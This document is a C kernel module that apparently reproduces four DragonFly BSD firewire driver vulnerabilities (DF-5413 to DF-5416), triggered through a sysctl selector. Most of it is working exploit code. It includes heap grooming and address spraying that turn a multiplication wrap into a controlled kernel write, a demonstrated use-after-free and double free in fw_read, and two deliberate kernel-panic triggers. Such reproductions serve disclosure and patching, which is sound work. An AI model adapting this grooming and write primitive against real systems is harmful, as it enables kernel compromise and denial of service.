DF-5416 / df5413.c
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The heap slot following `am` is pre-sprayed with the * address of a module-global marker, turning the OOB into a * CONTROLLED kernel write at a chosen kernel address. * * test 2 (DF-5414): production fw_ioctl(FW_SSTBUF/SRSTREAM), then one * xfer is queued into ir->q exactly the way the production FWACT_CH * receive path does (firewire.c:1883-1897), then production * fw_read() is called twice. The dequeue is inside `#if 0` * (fwdev.c:305-317) but fw_xfer_free() is not (fwdev.c:318): * read#1 frees the xfer while it stays linked in ir->q, read#2 * frees the same address again -> UAF + double free (proved by * duplicate kmalloc pointers). * * test 4 (DF-5416): two fake /dev/fw nodes (fw0.0 / fw0.1, own fw_drv1 * each, exactly what devfs gives). A: SSTBUF/SRSTREAM/SBINDADDR * (production fw_bindadd links the bind into fc->ir[0]->binds); * B: SSTBUF/SRSTREAM (grabs fc->ir[1]); B: FW_CBINDADDR with A's * address. fw_bindlookup() is global, finds A's bind, production * fwdev.c:599 removes it from fc->binds, then fwdev.c:600 * STAILQ_REMOVE(&ir->binds, ...) unlinks it from B's EMPTY list -- * DragonFly's STAILQ_REMOVE has no absent-element guard * (sys/sys/queue.h:319-331) and walks off NULL -> kernel panic. * * test 5 (DF-5415): production fw_kqfilter() with d->ir == NULL (open, * no FW_SRSTREAM yet): fwdev.c:721 reads ->ir, then * fwdev.c:739/740 knote_insert(&ir->rkq.ki_note, kn) reads/writes * at NULL + offsetof(struct fw_xferq, rkq) -> kernel panic. * (EVFILT_WRITE is hooked to `ir` too -- fwdev.c:730-732 -- even * though it is the transmit queue that would matter.) * * Fire with: sysctl kern.df5413_test=<1|2|4|5> * Read back: sysctl kern.df5413_status / kern.df5413_marker * * The only non-production driver code here is the synthetic fc/dev state * that fwohci_attach()/devfs would create in a real machine (cited where * it is built) and the test dispatcher itself. */ #include <sys/param.h> #include <sys/systm.h> #include <sys/types.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/malloc.h> #include <sys/sysctl.h> #include <sys/bus.h> #include <sys/uio.h> #include <sys/time.h> #include <sys/thread.h> #include <sys/thread2.h> #include <sys/conf.h> #include <sys/event.h> #include <machine/atomic.h> #include <sys/bus_private.h> /* fake devclass/device for devclass_get_softc() */ /* * firewire.c's MODULE_VERSION(firewire, 1) registers a module version the * same way the in-kernel copy does; the #name stringify would collide. */ #undef MODULE_VERSION #define MODULE_VERSION(name, version) struct __hack /* production code, -D-renamed by the Makefile; the unguarded firewire * headers (firewirereg.h, fwdma.h, ...) are routed through guard shims * in ./shim (found first via -I) because several production .c files * include them and this is a single translation unit. */ #include <bus/firewire/firewire.c> #include <bus/firewire/fwdma.c> #include <bus/firewire/fwdev.c> #undef MODULE_VERSION /* fwdev.c references these; the real ones live in fwmem.c (not compiled * in) and in the base kernel -- provide renamed stubs. fwmem_strategy * is declared as a d_strategy_t *variable* in fwmem.h (fwdev.c:792 * calls through it for FWMEM minors only). */ int dfw_fwmem_open(struct dev_open_args *ap) { return ENXIO; } int dfw_fwmem_close(struct dev_close_args *ap) { return ENXIO; } int dfw_fwmem_ioctl(struct dev_ioctl_args *ap) { return ENXIO; } int dfw_fwmem_mmap(struct dev_mmap_args *ap) { return ENXIO; } int dfw_fwmem_strategy(struct dev_strategy_args *ap) { return 0; } /* ------------------------------------------------------------------ */ /* synthetic host state (what fwohci_pci/fwohci attach + devfs build) */ /* ------------------------------------------------------------------ */ #define NISO 4 static bus_dma_tag_t dfw_dmat; static struct firewire_comm fc; /* the "controller" */ static struct firewire_softc fsc; /* devclass softc */ static struct fw_xferq *itq[NISO], *irqq[NISO]; static int dfw_prepared; static struct devclass fake_devclass; static device_t fake_devclass_devices[1]; static device_t fake_device; static int dfw_irx_enable(struct firewire_comm *fc, int dmach) { return 0; } static int dfw_itx_enable(struct firewire_comm *fc, int dmach) { return 0; } /* DF-5413 proof target: the address sprayed into the heap slot that * production fwdma_v_addr() will read out-of-bounds as seg[0].v_addr. */ static uint64_t df5413_marker[8] = { 0x1111111111111111ULL, 0x2222222222222222ULL, 0x3333333333333333ULL, 0x4444444444444444ULL, 0x5555555555555555ULL, 0x6666666666666666ULL, 0x7777777777777777ULL, 0x8888888888888888ULL, }; static char df5413_status[256] = "not run"; static void dfw_prepare(void) { int i, error; if (dfw_prepared) return; dfw_prepared = 1; bzero(&fc, sizeof(fc)); error = bus_dma_tag_create( /*parent*/ NULL, /*alignment*/ 1, /*boundary*/ 0, /*lowaddr*/ BUS_SPACE_MAXADDR, /*highaddr*/ BUS_SPACE_MAXADDR, /*maxsize*/ BUS_SPACE_MAXSIZE, /*nsegments*/ BUS_SPACE_UNRESTRICTED, /*maxsegsz*/ BUS_SPACE_MAXSIZE, /*flags*/ 0, &dfw_dmat); if (error) kprintf("df5413: bus_dma_tag_create error=%d\n", error); fc.dmat = dfw_dmat; /* fwohci.c:648-656 builds fc->it[]/fc->ir[] with dmach=i at attach */ fc.nisodma = NISO; for (i = 0; i < NISO; i++) { itq[i] = kmalloc(sizeof(struct fw_xferq), DFW_M_FW, M_WAITOK | M_ZERO); irqq[i] = kmalloc(sizeof(struct fw_xferq), DFW_M_FW, M_WAITOK | M_ZERO); itq[i]->dmach = i; irqq[i]->dmach = i; itq[i]->maxq = FWMAXQUEUE; irqq[i]->maxq = FWMAXQUEUE; STAILQ_INIT(&itq[i]->q); STAILQ_INIT(&itq[i]->binds); STAILQ_INIT(&irqq[i]->q); STAILQ_INIT(&irqq[i]->binds); fc.it[i] = itq[i]; fc.ir[i] = irqq[i]; } /* fw_init()/fw_attach(): firewire.c:758 */ STAILQ_INIT(&fc.binds); STAILQ_INIT(&fc.devices); fc.irx_enable = dfw_irx_enable; fc.itx_enable = dfw_itx_enable; /* make devclass_get_softc(firewire_devclass, 0) return &fsc the way * an attached fwohci card would */ bzero(&fake_devclass, sizeof(fake_devclass)); fake_device = kmalloc(sizeof(struct bsd_device), M_DEVBUF, M_WAITOK | M_ZERO); fake_device->softc = &fsc; fake_devclass_devices[0] = fake_device; fake_devclass.devices = fake_devclass_devices; fake_devclass.maxunit = 1; fsc.fc = &fc; dfw_devclass = &fake_devclass; /* fwdev.c:199/274/362/440 */ kprintf("df5413: prepared, fc=%p sizeof(fwdma_alloc_multi)=%zu " "offsetof(fw_xferq,rkq)=%zu sizeof(fw_bind)=%zu sizeof(fw_xfer)=%zu\n", &fc, sizeof(struct fwdma_alloc_multi), offsetof(struct fw_xferq, rkq), sizeof(struct fw_bind), sizeof(struct fw_xfer)); } /* a fake cdev: devfs gives fwdev.c si_drv1 via fw_open(); we do it by hand */ static cdev_t dfw_makefakecdev(void *drv1) { cdev_t dev = kmalloc(sizeof(struct cdev), M_DEVBUF, M_WAITOK | M_ZERO); dev->si_drv1 = drv1; /* si_uminor==0 -> unit 0, no FWMEM */ return (dev); } static void * dfw_makedrv1(void) { void *d = kmalloc(sizeof(struct fw_drv1), DFW_M_FW, M_WAITOK | M_ZERO); return (d); } static int dfw_ioctl(cdev_t dev, u_long cmd, void *data) { struct dev_ioctl_args ap; bzero(&ap, sizeof(ap)); ap.a_head.a_dev = dev; ap.a_cmd = cmd; ap.a_data = data; ap.a_fflag = 0; return (fw_ioctl(&ap)); /* production */ } static int dfw_rw(cdev_t dev, struct uio *uio, int write) { union { struct dev_read_args r; struct dev_write_args w; } ap; bzero(&ap, sizeof(ap)); if (write) { ap.w.a_head.a_dev = dev; ap.w.a_uio = uio; ap.w.a_ioflag = 0; return (fw_write(&ap.w)); /* production */ } else { ap.r.a_head.a_dev = dev; ap.r.a_uio = uio; ap.r.a_ioflag = 0; return (fw_read(&ap.r)); /* production */ } } /* ------------------------------------------------------------------ */ /* DF-5413: nchunk*npacket 32-bit wrap -> 0-seg fwdma buffer -> */ /* fwdma_v_addr() OOB seg[0] -> controlled kernel write */ /* ------------------------------------------------------------------ */ static void df5413_test(void) { struct fw_isobufreq bufspec; struct fw_isochreq ich; cdev_t dev; uint64_t V = (uint64_t)(uintptr_t)&df5413_marker[0]; void *seg0p; int attempt, i, err; kprintf("df5413: V(target kaddr)=%p\n", &df5413_marker[0]); for (attempt = 0; attempt < NISO; attempt++) { /* * Groom the 32-byte zone (the size of a 0-segment * fwdma_alloc_multi): allocate a bank, find two * physically adjacent slots, free them in the order that * makes the production fwdev_allocbuf() kmalloc() pop the * LOWER one for `am` and our follow-up kmalloc() pop the * UPPER one, which we fill with the target address -- that * is exactly the 16 bytes fwdma_v_addr() reads OOB as * am->seg[0].{dma_map,v_addr}. */ void *hold[64]; int j, best = -1; for (i = 0; i < 64; i++) hold[i] = kmalloc(32, DFW_M_FW, M_WAITOK); for (j = 0; j < 63; j++) { if ((char *)hold[j + 1] - (char *)hold[j] == 32) { best = j; break; } } kprintf("df5413: attempt %d bank %p..%p pair=%d\n", attempt, hold[0], hold[63], best); if (best < 0) continue; kfree(hold[best + 1], DFW_M_FW); kfree(hold[best], DFW_M_FW); dev = dfw_makefakecdev(dfw_makedrv1()); /* production FW_SSTBUF: wraps to 0 when multiplied */ bufspec.tx.nchunk = 0x10000; bufspec.tx.npacket = 0x10000; bufspec.tx.psize = 2048; bufspec.rx = bufspec.tx; err = dfw_ioctl(dev, FW_SSTBUF, &bufspec); ich.ch = attempt & 0x3f; ich.tag = 0; err = dfw_ioctl(dev, FW_STSTREAM, &ich); if (err) { kprintf("df5413: attempt %d STSTREAM err=%d\n", attempt, err); continue; } { struct fw_xferq *it = ((struct fw_drv1 *)dev->si_drv1)->it; struct fwdma_alloc_multi *am = it->buf; void *fill[8]; int j; kprintf("df5413: attempt %d it=%p am=%p nseg=%d " "bnchunk=%u bnpacket=%u psize=%u bulkxfer=%p\n", attempt, it, am, am->nseg, it->bnchunk, it->bnpacket, it->psize, it->bulkxfer); kprintf("df5413: &am->seg[0]=%p (allocation is " "%zu bytes) -- seg[0] is OUT OF BOUNDS\n", &am->seg[0], sizeof(struct fwdma_alloc_multi)); /* * Post-groom: the kernel zeroes freed objects, so * the slot after `am` must be re-occupied and * filled AFTER am was allocated. kmalloc hands * out consecutive 32-byte slots here (observed), * so a few fillers land on am+32. */ for (j = 0; j < 8; j++) { fill[j] = kmalloc(32, DFW_M_FW, M_WAITOK); *(uint64_t *)fill[j] = V; ((uint64_t *)fill[j])[1] = V; ((uint64_t *)fill[j])[2] = V; ((uint64_t *)fill[j])[3] = V; } seg0p = *(void **)((char *)&am->seg[0] + offsetof(struct fwdma_seg, v_addr)); kprintf("df5413: OOB-read seg[0].v_addr = %p " "(want %p%s)\n", seg0p, (void *)(uintptr_t)V, seg0p == (void *)(uintptr_t)V ? " == GROOMED" : " != groomed"); if (seg0p == (void *)(uintptr_t)V) { char pkt[4 + 32]; struct uio uio; struct iovec iov; /* header: stream.len = 0x20 (bytes 2..3 LE) */ static const char payload[33] = "DF5413-CONTROLLED-KERNEL-WRITE!!"; *(uint32_t *)pkt = 0x0020ABCD; bcopy(payload, pkt + 4, 32); bzero(&df5413_marker[0], 8); /* wipe */ df5413_marker[1] = 0xDEADDEADDEADDEADULL; iov.iov_base = pkt; iov.iov_len = sizeof(pkt); uio.uio_iov = &iov; uio.uio_iovcnt = 1; uio.uio_offset = 0; uio.uio_resid = sizeof(pkt); uio.uio_segflg = UIO_SYSSPACE; uio.uio_rw = UIO_WRITE; uio.uio_td = curthread; kprintf("df5413: calling production fw_write," " marker before = %016llx\n", (unsigned long long)df5413_marker[0]); err = dfw_rw(dev, &uio, 1); kprintf("df5413: fw_write err=%d resid=%zd " "marker after = %016llx %016llx %016llx\n" "df5413: payload=\"%31s\"\n", err, (ssize_t)uio.uio_resid, (unsigned long long)df5413_marker[0], (unsigned long long)df5413_marker[1], (unsigned long long)df5413_marker[2], (char *)&df5413_marker[1]); if ((df5413_marker[0] & 0xffffffffULL) == 0x0020ABCDULL && df5413_marker[1] != 0xDEADDEADDEADDEADULL) { ksnprintf(df5413_status, sizeof(df5413_status), "DF-5413 REPRODUCED: controlled " "kernel write (header 0x0020ABCD + " "32 payload bytes) via OOB " "seg[0].v_addr to %p", (void *)(uintptr_t)V); } else { ksnprintf(df5413_status, sizeof(df5413_status), "DF-5413 partial: groom ok, write " "landed elsewhere"); } kprintf("df5413: %s\n", df5413_status); return; } } } ksnprintf(df5413_status, sizeof(df5413_status), "DF-5413: groom failed after %d attempts (OOB confirmed but " "adjacent slot not marker-filled)", NISO); kprintf("df5413: %s\n", df5413_status); } /* ------------------------------------------------------------------ */ /* DF-5414: fw_read frees an ir->q xfer without dequeuing it */ /* ------------------------------------------------------------------ */ static void df5414_test(void) { struct fw_isobufreq bufspec; struct fw_isochreq ich; cdev_t dev; struct fw_xfer *xfer, *p1, *p2, *dangling; struct fw_xferq *ir; struct uio uio; struct iovec iov; char buf[64]; int err; bufspec.tx.nchunk = 8; bufspec.tx.npacket = 8; bufspec.tx.psize = 512; bufspec.rx = bufspec.tx; dev = dfw_makefakecdev(dfw_makedrv1()); err = dfw_ioctl(dev, FW_SSTBUF, &bufspec); ich.ch = 0; ich.tag = 0; err = dfw_ioctl(dev, FW_SRSTREAM, &ich); if (err) { kprintf("df5414: SRSTREAM err=%d\n", err); return; } ir = ((struct fw_drv1 *)dev->si_drv1)->ir; kprintf("df5414: ir=%p buf=%p bnchunk=%u bnpacket=%u\n", ir, ir->buf, ir->bnchunk, ir->bnpacket); /* * Queue exactly one received async packet the way the production * FWACT_CH receive path does -- firewire.c:1883-1897: * take the bind's xfer off bind->xferlist and append it to * fc->ir[sub]->q with crit protection, then wakeup. */ xfer = fw_xfer_alloc(DFW_M_FWXFER); /* == FW_SBINDADDR's xfer */ xfer->fc = &fc; crit_enter(); ir->queued++; STAILQ_INSERT_TAIL(&ir->q, xfer, link); crit_exit(); wakeup((caddr_t)ir); kprintf("df5414: injected xfer=%p, ir->q head=%p queued=%u\n", xfer, STAILQ_FIRST(&ir->q), ir->queued); iov.iov_base = buf; iov.iov_len = sizeof(buf); uio.uio_iov = &iov; uio.uio_iovcnt = 1; uio.uio_offset = 0; uio.uio_resid = sizeof(buf); uio.uio_segflg = UIO_SYSSPACE; uio.uio_rw = UIO_READ; uio.uio_td = curthread; err = dfw_rw(dev, &uio, 0); /* production fw_read #1 */ dangling = STAILQ_FIRST(&ir->q); kprintf("df5414: read#1 err=%d -- ir->q head=%p (%s) queued=%u\n", err, dangling, dangling == xfer ? "STILL THE FREED XFER" : "?", ir->queued); /* the freed chunk is (LIFO) handed out again */ p1 = fw_xfer_alloc(DFW_M_FWXFER); kprintf("df5414: realloc p1=%p (%s)\n", p1, p1 == xfer ? "same address as freed xfer" : "different"); /* production fw_read #2: frees the SAME address a second time */ err = dfw_rw(dev, &uio, 0); p2 = fw_xfer_alloc(DFW_M_FWXFER); kprintf("df5414: read#2 err=%d -- p2=%p p1=%p -> %s\n", err, p2, p1, (p1 == p2) ? "DUPLICATE ALLOCATION (double free proven)" : "allocator reordered (double free still occurred)"); if (dangling == xfer && p1 == xfer && p2 == xfer) { ksnprintf(df5413_status, sizeof(df5413_status), "DF-5414 REPRODUCED: fw_read freed xfer %p while still " "linked in ir->q; read#2 freed it again; allocator handed " "the same chunk to two owners", xfer); } else if (dangling == xfer) { ksnprintf(df5413_status, sizeof(df5413_status), "DF-5414 REPRODUCED (UAF): read#1 left freed xfer %p " "linked in ir->q; read#2 called fw_xfer_free on it " "again (unconditional double free)", xfer); } else { ksnprintf(df5413_status, sizeof(df5413_status), "DF-5414 not demonstrated"); } kprintf("df5414: %s\n", df5413_status); } /* ------------------------------------------------------------------ */ /* DF-5416: cross-node FW_CBINDADDR removes a foreign bind */ /* ------------------------------------------------------------------ */ static void df5416_test(void) { struct fw_isobufreq bufspec; struct fw_isochreq ich; struct fw_asybindreq bindreq; cdev_t devA, devB; struct fw_bind *fwb; int err; bufspec.tx.nchunk = 2; bufspec.tx.npacket = 2; bufspec.tx.psize = 512; bufspec.rx = bufspec.tx; /* fd A on /dev/fw0.0 */ devA = dfw_makefakecdev(dfw_makedrv1()); err = dfw_ioctl(devA, FW_SSTBUF, &bufspec); ich.ch = 0; ich.tag = 0; err = dfw_ioctl(devA, FW_SRSTREAM, &ich); kprintf("df5416: A SRSTREAM err=%d ir=%p\n", err, ((struct fw_drv1 *)devA->si_drv1)->ir); bindreq.start.hi = 1; bindreq.start.lo = 0; bindreq.len = 0x1000; err = dfw_ioctl(devA, FW_SBINDADDR, &bindreq); fwb = STAILQ_FIRST(&fc.binds); kprintf("df5416: A SBINDADDR err=%d fwb=%p start=%llx end=%llx " "sub=%d; ir[0]->binds head=%p\n", err, fwb, (unsigned long long)fwb->start, (unsigned long long)fwb->end, fwb->sub, STAILQ_FIRST(&fc.ir[0]->binds)); /* fd B on /dev/fw0.1 */ devB = dfw_makefakecdev(dfw_makedrv1()); err = dfw_ioctl(devB, FW_SSTBUF, &bufspec); ich.ch = 1; ich.tag = 0; err = dfw_ioctl(devB, FW_SRSTREAM, &ich); kprintf("df5416: B SRSTREAM err=%d ir=%p (binds list EMPTY: %p)\n", err, ((struct fw_drv1 *)devB->si_drv1)->ir, STAILQ_FIRST(&((struct fw_drv1 *)devB->si_drv1)->ir->binds)); /* * B unbinds A's address. Production fwdev.c:593-601: * fw_bindlookup() finds A's bind (it searches fc->binds, not B's), * :599 removes it from fc->binds, then :600 * STAILQ_REMOVE(&ir->binds, fwb, ...) with fwb NOT on B's list. * STAILQ_REMOVE walks off the end (no NULL guard, queue.h:319) * -> NULL-adjacent fault -> panic expected right here. */ kprintf("df5416: B FW_CBINDADDR -- expect Fatal trap 12 in " "fw_ioctl (STAILQ_REMOVE, fwdev.c:600)\n"); err = dfw_ioctl(devB, FW_CBINDADDR, &bindreq); kprintf("df5416: UNREACHED: CBINDADDR returned %d\n", err); } /* ------------------------------------------------------------------ */ /* DF-5415: fw_kqfilter with ir == NULL */ /* ------------------------------------------------------------------ */ static void df5415_test(void) { struct dev_kqfilter_args ap; struct knote *kn; cdev_t dev; dev = dfw_makefakecdev(dfw_makedrv1()); /* d->ir == NULL */ kn = kmalloc(sizeof(struct knote), M_DEVBUF, M_WAITOK | M_ZERO); kn->kn_kevent.filter = EVFILT_READ; bzero(&ap, sizeof(ap)); ap.a_head.a_dev = dev; ap.a_kn = kn; kprintf("df5415: production fw_kqfilter with d->ir=NULL, " "offsetof(fw_xferq, rkq)=%zu -- expect Fatal trap 12 at " "~0x%zx in fw_kqfilter (fwdev.c:739/740)\n", offsetof(struct fw_xferq, rkq), offsetof(struct fw_xferq, rkq)); fw_kqfilter(&ap); /* production */ kprintf("df5415: UNREACHED: fw_kqfilter returned %d\n", ap.a_result); } /* ------------------------------------------------------------------ */ static int df5413_testno; static int df5413_fire_sysctl(SYSCTL_HANDLER_ARGS) { int v = df5413_testno; int error; error = SYSCTL_OUT(req, &v, sizeof(v)); if (error || req->newptr == NULL) return (error); error = SYSCTL_IN(req, &v, sizeof(v)); if (error) return (error); dfw_prepare(); switch (v) { case 1: df5413_test(); break; case 2: df5414_test(); break; case 4: df5416_test(); break; case 5: df5415_test(); break; default: return (EINVAL); } return (0); } SYSCTL_PROC(_kern, OID_AUTO, df5413_test, CTLTYPE_INT | CTLFLAG_RW, 0, 0, df5413_fire_sysctl, "I", "df5413 test selector"); static int df5413_status_sysctl(SYSCTL_HANDLER_ARGS) { char buf[sizeof(df5413_status)]; strlcpy(buf, df5413_status, sizeof(buf)); return (SYSCTL_OUT(req, buf, strlen(buf))); } SYSCTL_PROC(_kern, OID_AUTO, df5413_status, CTLTYPE_STRING | CTLFLAG_RD, 0, 0, df5413_status_sysctl, "A", "df5413 last test result"); static int df5413_marker_sysctl(SYSCTL_HANDLER_ARGS) { uint64_t buf[8]; int i; for (i = 0; i < 8; i++) buf[i] = df5413_marker[i]; return (SYSCTL_OUT(req, buf, sizeof(buf))); } SYSCTL_PROC(_kern, OID_AUTO, df5413_marker, CTLTYPE_OPAQUE | CTLFLAG_RD, 0, 0, df5413_marker_sysctl, "-", "df5413 marker quadlets"); /* module entry: DRIVER_MODULE(dfw_firewire, fwohci, ...) in the included * production firewire.c (see note above); tests start lazily from the * kern.df5413_test sysctl handler. */ /* NOTE: no DECLARE_MODULE here -- the included firewire.c's * DRIVER_MODULE(dfw_firewire, fwohci, ...) is the module entry point * (df5321 pattern). An extra DECLARE_MODULE in the same translation * unit corrupts the modmetadata linker set on this kernel and panics * module_register(); without it the module loads cleanly. */ |